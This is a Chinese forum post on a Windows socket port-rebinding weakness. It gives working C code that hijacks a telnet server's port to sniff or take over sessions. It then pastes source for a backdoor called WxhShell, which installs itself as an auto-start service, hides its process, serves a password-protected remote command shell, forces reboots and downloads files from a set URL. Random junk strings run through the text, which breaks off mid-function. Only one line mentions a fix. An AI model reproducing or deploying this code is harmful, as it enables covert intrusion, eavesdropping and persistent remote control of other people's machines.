-
UID:1177
-
- 注册时间2006-03-21
- 最后登录2009-03-24
- 在线时间675小时
-
- 发帖3743
- 搜Ta的帖子
- 精华
1
- 铜板8
- 人品值493
- 贡献值9
- 交易币0
- 好评度3746
- 信誉值0
- 金币0
-
访问TA的空间加好友用道具
- 发帖
- 3743
- 铜板
- 8
- 人品值
- 493
- 贡献值
- 9
- 交易币
- 0
- 好评度
- 3746
- 信誉值
- 0
- 金币
- 0
- 所在楼道
|
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: jq]"6/xxb s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 9/M!S[N9 h n|E< saddr.sin_family = AF_INET; eh>E). )r i3ds saddr.sin_addr.s_addr = htonl(INADDR_ANY); 713M4CtJ qlJOb}$ I bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); lnWiE}F [8P2V 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 xW9
s[X XgKG\C=3 这意味着什么?意味着可以进行如下的攻击: WS/+Yl %`1vIr(7 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ewG21 q$ \Ji2uGT 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) :\JbWj_j N^]>R:Stu 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 4Jr[8P0/A9 X@&uu0JJ 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 9u @h` cOZ^huK 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 kA;Tr4EA6 T:">,*| 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 m tQ{6u
$jm<'
4 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 $-?5Q~ }.cmiC #include Oc9>F\]_m #include U_;J.{n #include Sc$wR{W<: #include 8@KFln )[ DWORD WINAPI ClientThread(LPVOID lpParam); SWsv, int main() Mgs|*u-5 { mMAr8~A= WORD wVersionRequested; B9Q.s DWORD ret; t/WnDR/fM WSADATA wsaData; zlztF$Bo BOOL val; >Mz|e(6 SOCKADDR_IN saddr; J<#`IaV SOCKADDR_IN scaddr; SzlfA%4+GR int err; 64' ]F1p0 SOCKET s; !TL}~D:J SOCKET sc; K('lH-3wS int caddsize; 0,$-)SkT HANDLE mt; rY?F6'} DWORD tid; >MWpYp wVersionRequested = MAKEWORD( 2, 2 ); ynbpew aa err = WSAStartup( wVersionRequested, &wsaData ); P&3/nL$9N if ( err != 0 ) { _L'cyH.cn printf("error!WSAStartup failed!\n"); ;u};&sm return -1; &9_\E{o%] } <o7#?AcPu saddr.sin_family = AF_INET; yXV|4 (g/X(3 //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 5[2.5/ 50GYL5)q saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); )R)$T' saddr.sin_port = htons(23); 1R%`i'$/ if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) W}2 &Pax { L sDzV) printf("error!socket failed!\n"); )g:,_ 1s)| return -1; >_aio4j}r } .hlQ?\ val = TRUE; Qy^z *s //SO_REUSEADDR选项就是可以实现端口重绑定的 )cKtc if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) nuO3UD3 { $jed{N7Y printf("error!setsockopt failed!\n"); 3).o"AN return -1; :n4:@L<%H } +>:}req //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 27],O@2?L //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 LbX6p //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 aMvK8C%7 Dyk[ug5 if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) y^QYlZO { A]iv)C;] ret=GetLastError(); k g,ys4 printf("error!bind failed!\n"); hHc^ZA return -1; RQpIBsj } 2WPF{y%/ listen(s,2); i$JG^6,O while(1) a][pTC\ rb { W-!Bl&jF[ caddsize = sizeof(scaddr); %- ZR~* //接受连接请求 mbX)'. +L sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); E/7vIg
F if(sc!=INVALID_SOCKET) qbU1qF/ { j[/SXF\= mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ]opW; |{e if(mt==NULL) !0OD(XT { [CDX CV-z printf("Thread Creat Failed!\n"); hX8gV~E=y break; g{v5mly } `
-[Bo } C^,4`OI CloseHandle(mt); &V#z kW } {yHB2=nI closesocket(s); gR;8ht(pd( WSACleanup(); uspkn1- return 0; ;c X^8;F0 } [-E{}FL| DWORD WINAPI ClientThread(LPVOID lpParam) OY^n0Zof, { -eR!qy:.]5 SOCKET ss = (SOCKET)lpParam; DrCWvpudd SOCKET sc; :otY;n - unsigned char buf[4096]; [W9e>Nsp0 SOCKADDR_IN saddr; H-_^TB long num;
<84C tv DWORD val; 5y%un DWORD ret;
{b|3]_-/ //如果是隐藏端口应用的话,可以在此处加一些判断 yE.495 //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 )l#%.Z9 saddr.sin_family = AF_INET; :Hzz{' saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); (:?5 i` saddr.sin_port = htons(23); t +3 if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) >[|GC/C { 8O8\q
;US printf("error!socket failed!\n"); d2C[wQF return -1; }fJ:wku } rnn2u+OG val = 100; {d 1N& if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ]27>a"p59Y { FJa[ToZ4+ ret = GetLastError(); U]V3DDN return -1; @V* ju } ~aJW"\{ if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) YY#s= { -E8ntY- ret = GetLastError(); 5\akI\ return -1; &RKH2R } }osHA`x"2 if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) dThR)Z'= { x|@1wQ"6 printf("error!socket connect failed!\n"); V3>f*Z)xn closesocket(sc); s[G|q5n closesocket(ss); i?GfY
C2q return -1; a^*cZ?Ta } <XQN;{xSa while(1) AI1@- { :DtZ8$I`]C //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 UF&0&`@ //如果是嗅探内容的话,可以再此处进行内容分析和记录 Vs_\ykO //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 r6d0x num = recv(ss,buf,4096,0); k4qLB1&, if(num>0) H GO#e send(sc,buf,num,0); !,cQ'*<W8- else if(num==0) Z/2,al\ break; 3]O`[P,*% num = recv(sc,buf,4096,0); IL~]m?'V( if(num>0) P0%N
Q1bn send(ss,buf,num,0); n-b>m7O( else if(num==0) k{gl^ break; 42rj6m\ } fL ~1 closesocket(ss); A Gv!c($ closesocket(sc); 0+T*$=? return 0 ; ZYE' C } \%sPNw=e AMbKN2h1f DMF?5GX ========================================================== J[e} PD6MyW05%9 下边附上一个代码,,WXhSHELL T ;i?w U9 1 &| ========================================================== k2EHco0BG K :1g" #include "stdafx.h" oM6j>&$b F>(qOH.I #include <stdio.h> Err4
%- #include <string.h> <Z{vC #include <windows.h> :PgF #include <winsock2.h> 7JbY}@ #include <winsvc.h> =nJ{$%L\x, #include <urlmon.h> <+V-k| ?qju
DD #pragma comment (lib, "Ws2_32.lib") 2 dHM #pragma comment (lib, "urlmon.lib") u?Fnlne4@ Oo FgQEr@ #define MAX_USER 100 // 最大客户端连接数 >vUB%OLyP #define BUF_SOCK 200 // sock buffer }5Yj #define KEY_BUFF 255 // 输入 buffer iaY5JEV:CA aXMv(e+ #define REBOOT 0 // 重启 yC0C`oC #define SHUTDOWN 1 // 关机 JZ `>|<W 8O,?|c=> #define DEF_PORT 5000 // 监听端口 "hL9f=w {DU"]c/S #define REG_LEN 16 // 注册表键长度 q_cC7p6t #define SVC_LEN 80 // NT服务名长度 ?nQ_w0j _b>F#nD,'% // 从dll定义API ):e+dt typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); J!rY
6[t typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ?#d6i$ typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); \I?w)CE@R typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); {}V$`L8 7; p4Wg7k} // wxhshell配置信息 `YPe^!`$ struct WSCFG { ]JH64~a int ws_port; // 监听端口 !_qskDc- char ws_passstr[REG_LEN]; // 口令 w#oGX int ws_autoins; // 安装标记, 1=yes 0=no :*^:T_U char ws_regname[REG_LEN]; // 注册表键名 Vzpt(_>< char ws_svcname[REG_LEN]; // 服务名 59.$ULQVMY char ws_svcdisp[SVC_LEN]; // 服务显示名 X4a^mw\" char ws_svcdesc[SVC_LEN]; // 服务描述信息 }i(qt&U; char ws_passmsg[SVC_LEN]; // 密码输入提示信息 5?Bc
Y; int ws_downexe; // 下载执行标记, 1=yes 0=no 2z4<N2!M char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" '!p=aF9L char ws_filenam[SVC_LEN]; // 下载后保存的文件名 grr'd+_ e aSel*
L }; aYqm0HCT l09Fn>wa // default Wxhshell configuration "u_i[[y struct WSCFG wscfg={DEF_PORT, m+?N7 "xuhuanlingzhe", 5L F/5` 1, [!EXMpq' "Wxhshell", hR-K@fS%l' "Wxhshell", aR _NyA "WxhShell Service", qP7G[%=v "Wrsky Windows CmdShell Service", WJfES2N "Please Input Your Password: ", 2UiR~P]% 1, ~/2g)IS " http://www.wrsky.com/wxhshell.exe", {;*}WPYb "Wxhshell.exe" 62Mdm3 }; </= CZy5w 5y]io
Jc9- // 消息定义模块 >-M ]:=L char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; #b'N}2'p#V char *msg_ws_prompt="\n\r? for help\n\r#>"; %,/lqc Fo char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; N>0LQ
MI char *msg_ws_ext="\n\rExit."; k'Gw!p} char *msg_ws_end="\n\rQuit."; %<ic%gt`# char *msg_ws_boot="\n\rReboot..."; v9=}S\=Cd char *msg_ws_poff="\n\rShutdown..."; s.VA!@F5 char *msg_ws_down="\n\rSave to "; K1OkZ6kl r$ =qQ7^# char *msg_ws_err="\n\rErr!"; zN%97q_ char *msg_ws_ok="\n\rOK!"; @D~B{Hg ,9d9_c.T char ExeFile[MAX_PATH]; /%!~x[BeJ> int nUser = 0; e'34Pw!m HANDLE handles[MAX_USER]; Pe}PH
I int OsIsNt; u^=`%) T?n-x?e SERVICE_STATUS serviceStatus; WWNu:, SERVICE_STATUS_HANDLE hServiceStatusHandle; kx:jI^ GX
}q9 // 函数声明 /4*W DiH int Install(void); #jBN?Z# int Uninstall(void); =s;M]: int DownloadFile(char *sURL, SOCKET wsh); ; DDe.f" int Boot(int flag); yoQ\lk void HideProc(void); e`iEy=W int GetOsVer(void); sHdp int Wxhshell(SOCKET wsl); _\\ -md: void TalkWithClient(void *cs); M(enRs3`O int CmdShell(SOCKET sock); L2fZ{bgy int StartFromService(void); ,(N[*)G int StartWxhshell(LPSTR lpCmdLine); )o{aeV :_xh(W+2< VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); &$=! dA VOID WINAPI NTServiceHandler( DWORD fdwControl ); */(I[p l1A5Y5x9= // 数据结构和表定义 <r~wZ}s SERVICE_TABLE_ENTRY DispatchTable[] = [} -3PpF { T p<s1'" {wscfg.ws_svcname, NTServiceMain}, wC`;f5-> {NULL, NULL} w_Uh }; _fn1) @pFj9[N // 自我安装 71"+<C . int Install(void) ]a?bzOr, { $shp(T,q char svExeFile[MAX_PATH]; X:EEPGE HKEY key; (RE2I strcpy(svExeFile,ExeFile); Q9c)k{QZ #H~_K}Ks // 如果是win9x系统,修改注册表设为自启动 \S ."?!U if(!OsIsNt) { booRrTS if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { .TpsJXF RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); M:n 6BC>t" RegCloseKey(key); ~Y7dH
Dn if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Vn, ><g RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); q/PNJ#< RegCloseKey(key); ^A9M;q return 0; p=Y>i 'CG } ;b0NGa(k } 7 ^$; } @MbVWiv else { fThgK;Qy'U n?xTkkr0 // 如果是NT以上系统,安装为系统服务 tU@zhGb SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); "35A/V if (schSCManager!=0) ]*N1t>fb { Udgqkl SC_HANDLE schService = CreateService }^%xvmQ\] ( taWqSq! schSCManager, I:l01W; wscfg.ws_svcname, +v7) 1y wscfg.ws_svcdisp, [
MyE2^ SERVICE_ALL_ACCESS, UzG[:ic% SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Z7a945Jd SERVICE_AUTO_START, ldqLM SERVICE_ERROR_NORMAL, FwG!> svExeFile, <RXw M6G2 NULL, pQa:pX NULL, ny*i+4Mb NULL, O.QK"pKD\ NULL, FX}Gt= NULL ezm&]F` ); n3KI+I%nQ if (schService!=0) (xpn`NA { *O~e
T CloseServiceHandle(schService); lDU_YEQ> CloseServiceHandle(schSCManager); Um`!% strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); W7sn+g\ strcat(svExeFile,wscfg.ws_svcname); [?0d~Q(R# if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { cU.9}-) RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); pUYM}&dX RegCloseKey(key); (?0`d return 0; >jg0s)RA' } r!
%;R?c } |nUl\WRd\ CloseServiceHandle(schSCManager); %aRT>_6" } WXw}^v } GVGlVAo|@ V3Z]DA return 1; x;s0j"`Jb } lLhL`C! QzvHm1,@ // 自我卸载 oUZoj2G1 int Uninstall(void) 2JGL;U$ { EgjR^A1W2 HKEY key; ~f\G68c (p#0)C if(!OsIsNt) { D{8PQ2x> if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 3SttHu0X RegDeleteValue(key,wscfg.ws_regname); c9"r6j2m5 RegCloseKey(key); ;&b.T}Nf06 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Q\ppfc{, RegDeleteValue(key,wscfg.ws_regname); OHv! RegCloseKey(key); VqSc;w return 0; AIYmS#V1W2 } $sHP\{ } 2,q}Nq } \3f&7wU else { ]`g@UtD9` &ANP`= SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); )kXhtjOl| if (schSCManager!=0) dt@P>rel { MGS-4>Q# SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Qn@Pd* DR if (schService!=0) 'a6<ixgo0 { O^Q7b7}y if(DeleteService(schService)!=0) { nI.x CloseServiceHandle(schService); :Qt CloseServiceHandle(schSCManager); Q4*?1`IsR return 0; ElhRF{R } !>,m&O-x CloseServiceHandle(schService); "hxN !,DEZ } HBS\<} CloseServiceHandle(schSCManager); m,i,n9C-> } pKiZ)3U } N["W Ir nAIo{
F return 1;
s#~GH6/ } 8BOZh6BV ,l YE // 从指定url下载文件 W!Hm~9fz int DownloadFile(char *sURL, SOCKET wsh) bV+(b9 { tG vG HRESULT hr; -VxTx^)> char seps[]= "/"; 4fk8*{Y char *token; y;wx?1) char *file; U4f5xUY0) char myURL[MAX_PATH]; V&8VwF^- char myFILE[MAX_PATH]; klg25 #t gxz-R?. strcpy(myURL,sURL); m7a#qs;, token=strtok(myURL,seps); J%09^5:-z while(token!=NULL) O/AaYA& { xsd_Uu* file=token; ( wDm*bZ* token=strtok(NULL,seps); {'?)FX*W } 0.T4{JS# |F,R&<2 GetCurrentDirectory(MAX_PATH,myFILE); dI&!e#Y strcat(myFILE, "\\"); j`^$# strcat(myFILE, file); IG)s^bP send(wsh,myFILE,strlen(myFILE),0); IW 21T send(wsh,"...",3,0); U*Ge<(v$ hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); m8'C_U^89 if(hr==S_OK) ];'v8)Y return 0; \%PaceH else 1XM^8 .; return 1; |8mhp.7 t@u7RL*n:< } w(kf pyLRgD0
g // 系统电源模块 kB?al#` int Boot(int flag) ]f+ csB { p' M%XBu HANDLE hToken; Ox#\M0Wn$3 TOKEN_PRIVILEGES tkp; 3_~cMlr3T. yjfat&$ if(OsIsNt) { bM8If" OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); mPI8_5V8] LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 0/S_e)U tkp.PrivilegeCount = 1; L}@c6fHG tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; :RoBl3X= AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); y_\p=0t8 if(flag==REBOOT) { 9Gv[8'I if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 'YNT8w/3 return 0; ^Wxad?@ } >:D
j\"o else { ]|`Cuc if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) *`ZH` V return 0; q _-7i } n6s}ww) } iw*Nq,( else { afYc\-" if(flag==REBOOT) { /|xra8?H[ if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) J7r|atSk return 0; fS~;>n%R } oc8:r else { =Umw$+fJr if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ^i:`ZfA# return 0; (aD_zG=k5 } 5:'hj$~|\1 } B}PIRk@a1 8\{^|y9- return 1; X]P:CY } C@th O z dO#0tN // win9x进程隐藏模块 PRz/inru- void HideProc(void) _YcA+3ZL { f=)2f= (SKVuR%Jj HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); aN"DkUYZM if ( hKernel != NULL ) /yM:|`tT { m1Y>Nj[f pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); um9_ru~ ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); T49zcJf; FreeLibrary(hKernel); g!-,] } 4;2< ^[M o6V}$wT3J return; H^YSJ6 } oWYmj=D~2z a'z) // 获取操作系统版本 G "73=8d int GetOsVer(void) ~%YBI9$+ { *zr(Zv OSVERSIONINFO winfo; r$2P;Cxj winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); AhZ8 0! GetVersionEx(&winfo); N!g9*Z if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ANgw"&&>( return 1; 9W(dmde> else lbpq_= return 0; V0)fZS@tf } $m42:a mM \Ym5<];E // 客户端句柄模块 x
g0iN'e'K int Wxhshell(SOCKET wsl) ,_Z+8 { j?MAED SOCKET wsh; By% =W5 struct sockaddr_in client; w Xsmn1w9 DWORD myID; ~R(%D-k )E~79! while(nUser<MAX_USER) k1QpKn* { YCP) %} int nSize=sizeof(client); 8QM(?A wsh=accept(wsl,(struct sockaddr *)&client,&nSize); >Z1sb n if(wsh==INVALID_SOCKET) return 1; xD6@Qk Rz.? i+ handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); () j=5KDu if(handles[nUser]==0) )kP5u`v closesocket(wsh); '_V2!?+RU+ else t^w"w`v\u nUser++; p\bDY } ~$~5qwl WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); p\<u6v ~J %"P,1&\^ return 0; /kfgx{jZ } ['T:ea6B ;aw=MV // 关闭 socket _'(, void CloseIt(SOCKET wsh) uuQ(& { o93`|yWl closesocket(wsh); 0zi~p>*nJC nUser--; $C `;fA ExitThread(0); Z4lO?S5%J } YGrg 8?%-'z. // 客户端请求句柄 7x@A%2J void TalkWithClient(void *cs)
YxP&7oq { 7(5
4/ q}]XYys SOCKET wsh=(SOCKET)cs; UXh9:T'% char pwd[SVC_LEN]; `DC2gJKk% char cmd[KEY_BUFF]; l g-X:Z. char chr[1]; {DR`;ea])1 int i,j; [<6S%s $g
sxO!G while (nUser < MAX_USER) { {HCzp,Y a]MX)? if(wscfg.ws_passstr) { % ClHCoyA if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ;dJ1 //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); -q*i_r:, //ZeroMemory(pwd,KEY_BUFF); } q$ WvY/ i=0; kOed ]>H while(i<SVC_LEN) { "T|PS6R~ A -b
[>}_ // 设置超时 *m#Za<_Gv fd_set FdRead; yrlf+tl struct timeval TimeOut; Y 1t\iU FD_ZERO(&FdRead); Wr( y)D<y} FD_SET(wsh,&FdRead); =17t-
[ TimeOut.tv_sec=8; D}mjN=Y TimeOut.tv_usec=0; "OdXY"G int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); +1D+]*t_?[ if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 3nhXZOO1 HBMhtfWW if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); \Rp-;.I@6 pwd =chr[0]; * cgI.+ if(chr[0]==0xd || chr[0]==0xa) { 9_
dpR. pwd=0; [xGf,;Z break; 7eiV{ tYF } %;rHrDP(> i++; *#C+iAF|)' } MP>dW nl `-p:vq` // 如果是非法用户,关闭 socket OEkN(wF if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); LS917ci- } wf:OK[r9 ^Gqt+K% send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); N9v1[~ bv_ send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ]VD|xm:kj [_}J F}6 while(1) { fIsp;ca[k kYjGj,m" ZeroMemory(cmd,KEY_BUFF); |%'
nVxc4r
b4QI)z // 自动支持客户端 telnet标准 IkGfnXJ j=0; `a2n:F while(j<KEY_BUFF) { J{k79v if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); -$dXE+& cmd[j]=chr[0]; e=+?K5q{P( if(chr[0]==0xa || chr[0]==0xd) { 7*?}: cmd[j]=0; E<Q
f!2s$ break; o
!vE~ } rv|)n>m j++; ]{ntt}3G, } 50o~ P!Lz| <psZQdH // 下载文件 .n~M(59 if(strstr(cmd,"http://")) { Np"exFqN k send(wsh,msg_ws_down,strlen(msg_ws_down),0); j'HZ\_ if(DownloadFile(cmd,wsh)) PEW=@xj2y send(wsh,msg_ws_err,strlen(msg_ws_err),0); FW21 U< else G1o3l~x send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); lLF-{ } (aH'h1,G else { 9R7A8 z}MP)|aH: switch(cmd[0]) { /,g ,Ch<d r(RKwr:m // 帮助 6I4oi@hZz case '?': { '2[albxSc send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ]3X@_NYj break; oyYR-4m\ } R5X.^u // 安装 BEre*J case 'i': { !Ikt '5/ if(Install()) ]% IT|/;9Y send(wsh,msg_ws_err,strlen(msg_ws_err),0); (adyZ/j else F;7dt@5; send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); :{q<{^c break; [E/\#4b } V;,{} // 卸载 qLB)XnQ case 'r': { Ht&:-F+dm if(Uninstall()) osX8eX]\ send(wsh,msg_ws_err,strlen(msg_ws_err),0); RsY3V=u else 'qOREN send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); }x07^4$j break; $w);5o } {M^3m5.^ // 显示 wxhshell 所在路径 RT.D"WvT case 'p': { -UOj>{- char svExeFile[MAX_PATH]; d~JKH&x< strcpy(svExeFile,"\n\r"); i;_t I#:A strcat(svExeFile,ExeFile); MMx9(`t*. send(wsh,svExeFile,strlen(svExeFile),0); c+hQSm|bf) break; paD !Z0v& } 7r~~Y%=C| // 重启 Lcg)UcB-# case 'b': { -T[lx\} send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); [YUv7|\ if(Boot(REBOOT)) J
/f
send(wsh,msg_ws_err,strlen(msg_ws_err),0); JNJ=e,O, else { e-"nB]n^/ closesocket(wsh); H?)w!QX ExitThread(0); Na?!;1]_ } RM!<8fXYD break; |4uWh } )C(?bR // 关机 k{Me[B case 'd': { >o7n+Rb: send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 29?,<bB) if(Boot(SHUTDOWN)) 3tZ]4ms} send(wsh,msg_ws_err,strlen(msg_ws_err),0); 98uV6b~g else { 2gCX}4^3b closesocket(wsh); er!DYv ExitThread(0); :[hgxJu+ } wv\w;' break; C'o64+W^ } !3 f?:M // 获取shell =[@zF9 case 's': { oaoU _V CmdShell(wsh); / ;,Md,p closesocket(wsh); _YLfL ExitThread(0); lna}@]oR break; =A!@6Nw } .`4{9?bR // 退出 g!+|I case 'x': { + EGD.S{ send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); w(/aiV CloseIt(wsh); |ayVjqJ* break; }l],.J\BGX } &iA?+kV // 离开 +KvU$9Ad> case 'q': { RH O( ?8"_ send(wsh,msg_ws_end,strlen(msg_ws_end),0); 2E)wpgUc?e closesocket(wsh); dVi!Q@y+ WSACleanup(); jO1r)hw N> exit(1); (tZrw5@ break; /.o^R6 } .2v_H5< } *U]V@;XF } "F.;Dv9V[0 .R./0Ot tx // 提示信息 v,4pp@8rv if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 3
%|86:* } 3P^sM1 } 'F$l{iR PEuIWXr return; =W BTm } yl1gx [5+}rwm&W // shell模块句柄 QUQu^p int CmdShell(SOCKET sock) ~XWQhIAM4 { lJis~JLd` STARTUPINFO si; bS"fkf9 ZeroMemory(&si,sizeof(si)); Htgx`N|
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 2VE9}%i si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; G
%Q^o5m PROCESS_INFORMATION ProcessInfo; i-6F:\; char cmdline[]="cmd"; qCqFy#Ms\ CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); |(q9" return 0; 0^RXGN } zBk'{[y9L %Cv D-![0 // 自身启动模式 HP3lz,d int StartFromService(void) _q{c##Kf { 0QOBL'{7) typedef struct ; o0&`b? { m|:_]/*qE DWORD ExitStatus; ^k#P5oV DWORD PebBaseAddress; ~?FpU DWORD AffinityMask; m/y2WlcRx DWORD BasePriority; "0cID3A$ ULONG UniqueProcessId; `R=HKtr? ULONG InheritedFromUniqueProcessId; Yo("U8:XX } PROCESS_BASIC_INFORMATION; Vy938qX kZerKP PROCNTQSIP NtQueryInformationProcess; iMP]W_ ^WNrGF static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; y10h#&k static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ~ y;6W0x 26k LhFS HANDLE hProcess; FcYFovS PROCESS_BASIC_INFORMATION pbi; L>a thvYL.U: HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); {'2@(^3 